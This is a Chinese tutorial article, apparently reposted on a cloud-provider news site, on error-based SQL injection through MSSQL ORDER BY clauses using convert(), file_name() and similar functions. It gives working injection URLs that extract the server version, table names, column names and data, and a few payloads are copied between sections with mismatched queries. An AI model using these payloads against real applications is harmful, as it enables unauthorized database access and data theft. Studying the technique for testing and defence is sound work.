您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何理解基于MSSQL “order by”語句報錯的SQL注入技術,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
我們要利用的SQL注入漏洞出現在下面的情形中:當用戶提供的數據通過MSSQL的“Order By”語句中的值進行傳遞時,如果SQL查詢中存在語法錯誤,那么應用程序就會拋出SQL Server錯誤。
如果用戶提供的數據在“Order By”子句中作為列名傳遞給SQL查詢的話,那么常規的“基于錯誤的SQL注入”漏洞利用技術就無法生效了。
由于SQL Server已經為SQL查詢預定義了一套安全規則,因此,我們無法使用常規的“基于錯誤的SQL注入”技術來攻擊應用程序中的SQL注入漏洞。
不過,由于用戶可以在Order by子句之后指定函數名稱,同時,有些SQL server函數可以執行以參數傳入的查詢,并嘗試對注入的查詢的結果執行某些操作,如果操作遇到問題就會拋出錯誤,所以,如果我們對這些函數進行注入攻擊,那么這些函數就會暴露注入的SQL查詢的結果——這就是我們的漏洞利用思路。
下面我們開始介紹可用于基于錯誤的SQL注入攻擊的函數。 ( 內容推薦>>>>>>SQL注入漏洞的分析與利用 )
實際上,確實有少數幾個SQL server函數可以滿足我們的要求:執行其參數指定的SQL查詢,并對查詢結果執行指定的操作,還能通過錯誤消息給出SQL查詢結果。
Convert()就是滿足上述要求的一個函數,它常用于基于錯誤的SQL注入攻擊中,因為它會按照第一個參數中指定的數據類型對第二個參數執行轉換操作。
例如,對于convert(int,@@version),convert函數首先會執行第二個參數指定的SQL查詢,然后嘗試將查詢結果轉換為int類型。但是,由于這個SQL查詢的結果是varchar類型,無法進行指定的轉換,所以,convert函數會拋出一個SQL server錯誤消息,指出“SQL查詢結果”無法轉換為“int”類型,這樣的話,攻擊者就能得到的這個SQL查詢的結果了。
下面列出滿足上述要求的各個函數:
· convert()
· file_name()
· db_name()
· col_name()
· filegroup_name()
· object_name()
· schema_name()
· type_name()
· cast()
假設這里有一個包含SQL注入漏洞的URL,它會將HTTP GET方法中名為“order”的參數的值(該值由用戶指定)傳遞給SQL查詢。該URL如下所示:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name
然后,應用程序會從HTTP GET方法的參數“order”中接收用戶提供的數據,并生成如下所示的SQL查詢:
Select table_name,column_name from information_schema.columns order by column_name
· 查詢SQL server版本
注入相關命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)
在后臺實際執行的查詢:
select table_name,column_name from information_schema.columns order by
convert(int,@@version)
· 提取當前數據庫的表名
注入相關命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
table_name from information_schema.columns))
在后臺實際執行的查詢:
select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))
· 從表中提取列名
在提取列名的時候,我們可以使用cast()來規定要從哪些表中提取列名。需要注意的是,這里的表名是用“十六進制”形式表示的。
注入相關命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
在后臺實際執行的查詢:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
· 提取表中的列數據
從數據表的列中提取數據實際上并不復雜,只需在SQL查詢中指定列名和表名即可。在本例中,我使用的列名為’xserver_name’,表名為’spt_fallback_db’。
注入相關命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1)
xserver_name from spt_fallback_db))
在后臺實際執行的查詢:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) xserver_name from spt_fallback_db))
file_name()函數
· 查詢SQL server版本
注入相關命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)
在后臺實際執行的查詢:
select table_name,column_name from information_schema.columns order by
file_name(@@version)
· 提取當前數據庫的表名
注入相關命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
table_name from information_schema.columns))
在后臺實際執行的查詢:
select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))
· 從表中提取列名
在提取列名的時候,我們可以使用cast()來規定要從哪些表中提取列名。需要注意的是,這里的表名是用“十六進制”形式表示的。
注入相關命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
在后臺實際執行的查詢:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
· 從表中提取列數據
從數據表中提取列數據其實很簡單,只需在SQL查詢中指定列名和表名即可。在本例中,我使用的列名為’xserver_name’,表名為’spt_fallback_db’。
注入相關命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1)
xserver_name from spt_fallback_db))
在后臺實際執行的查詢:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
file_name((select top(1) xserver_name from spt_fallback_db))
上述就是小編為大家分享的如何理解基于MSSQL “order by”語句報錯的SQL注入技術了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。